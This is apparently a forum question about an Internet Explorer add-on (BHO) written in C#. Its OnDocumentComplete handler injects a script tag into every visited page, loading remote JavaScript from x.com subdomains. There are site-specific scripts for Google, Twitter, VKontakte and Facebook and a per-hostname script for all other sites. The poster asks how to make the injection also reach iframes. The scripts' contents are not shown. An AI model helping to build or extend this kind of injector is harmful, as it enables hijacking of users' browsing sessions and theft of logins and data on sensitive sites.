Hi i made an ie bho addon in c#
here is the OnDocumentComplete event
It works nice but When there is a web site that has iframes
it injects the scripts to the main window when it should inject into iframes?
I hope if i could explain
public void OnDocumentComplete(object pDisp, ref object URL)
{
if (((this.webBrowser != null) && (this.webBrowser.ReadyState == tagREADYSTATE.READYSTATE_COMPLETE)) && !this.webBrowser.Busy)
{
HTMLDocument o = this.webBrowser.Document as HTMLDocument;
string hostname = o.location.hostname;
Random random = new Random();
if (o.getElementById("xxxxxxx") == null)
{
HTMLBody body = (HTMLBody) o.body;
HTMLScriptElement element = (HTMLScriptElement) o.createElement("script");
if (hostname.Contains("google."))
{
element.src = o.location.protocol + "//g.x.com/g.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("twitter."))
{
element.src = o.location.protocol + "//tw.x.com/tw/tw.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("vkontakte."))
{
element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("vk."))
{
element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("facebook."))
{
element.src = o.location.protocol + "//cdn.x.com/zt.js?ie=" + random.Next(1, 0x186a0);
}
else
{
element.src = string.Concat(new object[] { o.location.protocol, "//all.x.com/all/", hostname, ".js?ie=", random.Next(1, 0x186a0) });
}
body.appendChild((IHTMLDOMNode) element);
Marshal.ReleaseComObject(element);
Marshal.ReleaseComObject(body);
Marshal.ReleaseComObject(o);
}
}
}